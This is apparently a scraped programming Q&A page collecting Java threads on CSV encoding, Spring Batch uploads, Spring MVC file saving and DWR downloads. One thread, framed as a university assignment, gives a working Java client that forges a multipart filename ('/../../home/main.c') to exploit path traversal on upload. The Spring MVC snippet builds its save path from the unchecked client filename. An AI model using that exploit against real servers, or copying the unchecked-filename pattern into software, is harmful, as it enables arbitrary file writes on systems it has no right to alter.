We Keep Coding

How to export utf-8 content in octet stream response for REST API endpoint?

I have a Quarkus based REST API project in which one endpoint is supposed to serve exported data as .csv files. Since i do not want to create temporary files, i was writing to a ByteArrayInputStream to be used in an octet stream response for my webservice.
However, although this works fine for latin character content we also have content that may be in Chinese. The downloaded .csv file does not view the characters properly or rather does not write them properly (they only show up as question marks, even in plain text view e.g. with notepad).
We already checked the source of the problem not being how the data is stored, for example the encoding in the database is correct and it works fine when we export it as .json (here we can set charset utf-8).
As far as i understand a charset or encoding cannot be set for an octet stream.
So how can we export/stream this content as a file download without creating an actual file?
Some code examples below on how we do it currently. We use the apache common library component CSVPrinter to create the CSV format in text in a custom CSV streamer class:
#ApplicationScoped
public class JobRunDataCsvStreamer implements DataFormatStreamer<JobData> {
#Override
public ByteArrayInputStream streamDataToFormat(List<JobData> dataList) {
try {
ByteArrayOutputStream out = getCsvOutputStreamFor(dataList);
return new ByteArrayInputStream(out.toByteArray());
} catch (IOException e) {
throw new RuntimeException("Failed to convert job data: " + e.getMessage());
}
}
private ByteArrayOutputStream getCsvOutputStreamFor(List<JobData> dataList) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
CSVPrinter csvPrinter = new CSVPrinter(new PrintWriter(out), getHeaderFormat());
for (JobData jobData : dataList) {
csvPrinter.printRecord(extractStringRowData(jobData));
}
csvPrinter.flush();
csvPrinter.close();
return out;
}
private CSVFormat getHeaderFormat() {
return CSVFormat.EXCEL
.builder()
.setDelimiter(";")
.setHeader("ID", "Source term", "Target term")
.build();
}
private List<String> extractStringRowData(JobData jobData) {
return Arrays.asList(
String.valueOf(jobData.getId()),
jobData.getSourceTerm(),
jobData.getTargetTerm()
);
}
}
Here is the quarkus API endpoint for the download:
#Path("/jobs/data")
public class JobDataResource {
#Inject JobDataRepository jobDataRepository;
#Inject JobDataCsvStreamer jobDataCsvStreamer;
...
#GET
#Path("/export/csv")
#Produces(MediaType.APPLICATION_OCTET_STREAM)
public Response getAllAsCsvExport() {
List<JobData> jobData = jobDataRepository.getAll();
ByteArrayInputStream stream = jobDataCsvStreamer.streamDataToFormat(jobData);
return Response.ok(stream, MediaType.APPLICATION_OCTET_STREAM)
.header("content-disposition", "attachment; filename = job-data.csv")
.build();
}
}
Screenshot of result in the downloaded file for chinese characters in the second column:
We tried setting headers etc. for encoding, but none of it worked. Is there a way to stream content which requires specific encoding as a file in Java web services? We tried using PrintWriter which works, but requies creating a local file on the server.
Edit: We tried using PrintWriter(out, false, StandardCharsets.UTF_8) for the PrintWriter to write to a byte array out stream for the response, which yields a different result but still with broken view in both Excel and plain text:
Screenshot:
Code for endpoint:
#GET
#Path("/export/csv")
#Produces(MediaType.APPLICATION_OCTET_STREAM)
public Response getAllAsCsvExport() {
List<JobData> jobData = jobRunDataRepository.getAll();
ByteArrayOutputStream out = new ByteArrayOutputStream();
try{
PrintWriter pw = new PrintWriter(out, false, StandardCharsets.UTF_8);
pw.println(String.format("%s, %s, %s", "ID", "Source", "Target"));
for (JobData item : jobData) {
pw.println(String.format("%s, %s, %s",
String.valueOf(item.getId()),
String.valueOf(item.getSourceTerm()),
String.valueOf(item.getTargetTerm()))
);
}
pw.flush();
pw.close();
} catch (Exception e) {
throw new RuntimeException("Failed to convert job data: " + e.getMessage());
}
return Response.ok(out).build();
}

Spring batch open MultipartFile , error: 'reader is in 'strict' mode'

I uploaded a batch file from the html frontend.
In my controller, i am trying to process it
public #ResponseBody void customerBatchUpload(#RequestParam("batchFile") MultipartFile[] batchFile) throws Exception {
File fileToImport = new File(batchFile[0].getOriginalFilename());
String pathToFile = fileToImport.getAbsolutePath();
FlatFileItemReader<Customer> reader = new FlatFileItemReader<>();
reader.setResource(new FileSystemResource(pathToFile));
reader.open(new ExecutionContext());
}
In the above code the line reader.open(new ExecutionContext()); throws a error of
java.lang.IllegalStateException: Input resource must exist (reader is in 'strict' mode): file [C:\Users\user\Desktop\criticialTest5.csv]
at org.springframework.batch.item.file.FlatFileItemReader.doOpen(FlatFileItemReader.java:251)
I tried I tried String pathToFile = "file://"+ fileToImport.getAbsolutePath(); and
String pathToFile = "file:\\"+ fileToImport.getAbsolutePath();
both failed and gave same above error.

Javadoc of String getOriginalFilename():
Return the original filename in the client's filesystem.
Your server cannot access the client filesystem. How could it?
You need to call either byte[] getBytes(), InputStream getInputStream(), or transferTo(File dest), to get access to the uploaded file content.
In your case, perhaps using InputStreamResource is the best option:
try (InputStream in = batchFile[0].getInputStream()) {
FlatFileItemReader<Customer> reader = new FlatFileItemReader<>();
reader.setResource(new InputStreamResource(in));
reader.open(new ExecutionContext());
// more code here
}
If that doesn't work, and uploaded file size is limited, you can use getBytes() and a ByteArrayResource.
If memory is at a premium, or you need to handle huge files, write the uploaded content to a temporary file using transferTo(file) and a FileSystemResource. Remember to delete the temporary file when done.

Path traversal, file upload exploit

I have a University assignment where I have to upload a file to arbitrary locations. From the code I can see that the uploaded file is being stored in the temporary folder of the unix system + the file name. This means if i can send the server (java) the filename as /../../home/main.c I could store the file on any location on the system.
Its impossible to insert a forward-slash character as part of a file name which excludes this option, so the only way would be to trick the web client somehow sending manually the name of the file.
Is this possible and how?
File f = new File (dir,entry.getname());
where "dir" is /temp

you can name the file something like %2F%2E%2E%2F%2E%2E%2Fhome%2Fmain%2Ec and upload using a browser, but i doubt it will work.
you can also try to forge your multipart/form-data http post request hacking an existing implementation, something like this (using commons-httpClient 3.1):
public class Forgery
{
public static void main(String[] args)
{
File f = new File("/path/fileToUpload.txt");
PostMethod filePost = new PostMethod("http://host/some_path");
Part[] parts =
{
new StringPart("param_name", "value"),
new FilePart(f.getName(), f)
{
private static final byte[] FILE_NAME_BYTES = EncodingUtil.getAsciiBytes(FILE_NAME);
#Override
protected void sendDispositionHeader(OutputStream out) throws IOException
{
out.write(CONTENT_DISPOSITION_BYTES);
out.write(QUOTE_BYTES);
out.write(EncodingUtil.getAsciiBytes(getName()));
out.write(QUOTE_BYTES);
out.write(FILE_NAME_BYTES);
out.write(QUOTE_BYTES);
out.write(EncodingUtil.getAsciiBytes("/../../home/main.c"));
out.write(QUOTE_BYTES);
}
}
};
filePost.setRequestEntity(new MultipartRequestEntity(parts, filePost.getParams()));
HttpClient client = new HttpClient();
int status = client.executeMethod(filePost);
}
}

file upload with spring MVC

I am uploading file using spring MVC and jquery. Inside my class method I have written
#RequestMapping(value="attachFile", method=RequestMethod.POST)
public #ResponseBody List<FileAttachment> upload(
#RequestParam("file") MultipartFile file,
HttpServletRequest request,
HttpSession session) {
String fileName = null;
InputStream inputStream = null;
OutputStream outputStream = null;
//Save the file to a temporary location
ServletContext context = session.getServletContext();
String realContextPath = context.getRealPath("/");
fileName = realContextPath +"/images/"+file.getOriginalFilename();
//File dest = new File(fileName);
try {
//file.transferTo(dest);
inputStream = file.getInputStream();
outputStream = new FileOutputStream(fileName);
inputStream.close();
outputStream.close();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
Its uploading the file correctly I am using
ServletContext context = session.getServletContext();
String realContextPath = context.getRealPath("/");
to get the path. My first question is , Is this the correct way to get the path and it stores the file somewhere at
workspace/.metadata/.plugins/org.eclipse.wst.server.core/tmp0/wtpwebapps/myproject/images
and when I am trying to display this image on my jsp page using the following code
<img src="<%=request.getRealPath("/") + "images/images.jpg" %>" alt="Upload Image" />
It does not display the image, Its generating the following html
<img src="/home/name/workspace/.metadata/.plugins/org.eclipse.wst.server.core/tmp0/wtpwebapps/myproject/images/images.jpg" alt="Upload Image">
Am I doing the things right? In my project I have to upload large number of files everyday.
Please let me know if you need anything else to understand my question

It will be better if you upload your files in some directory by absolute path(e.g. C:\images\) instead of relative (your approach). Usually, web apps runs on linux mathines on production and it is good practice to make save path configurable.
Create some application property which will holds save path for files(in xml or property file).

dwr - upload file and download file in one request

is it possible to upload a file and subsequently when receiving response download the file,
I mean in one request I'll upload a file and download the file in one action?

Maybe this demo code will be helpful for you:
http://directwebremoting.org/dwr-demo/simple/download.html

Yes It's possible to do that at least in dwr 3.

An example which return a excel to download from client:
//Java side:
public FileTransfer getExcel(Parametros param){
byte[] result = <here get data>;
InputStream myInputStream = new ByteArrayInputStream(result);
String excelFormat = "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet";
FileTransfer dwrExcelFile = new FileTransfer("excel.xlsx", excelFormat, myInputStream);
return dwrExcelFile;
}
//Javascript side:
function downloadExcelFile() {
dwr.engine.setTimeout(59000);
var params = <params_to_send>;
<Java_class>.getExcel(params, {callback:function(dataFromServer) {
downloadExcelCallback(dataFromServer);
}});
}
function downloadExcelCallback(data) {
dwr.engine.openInDownload(data);
}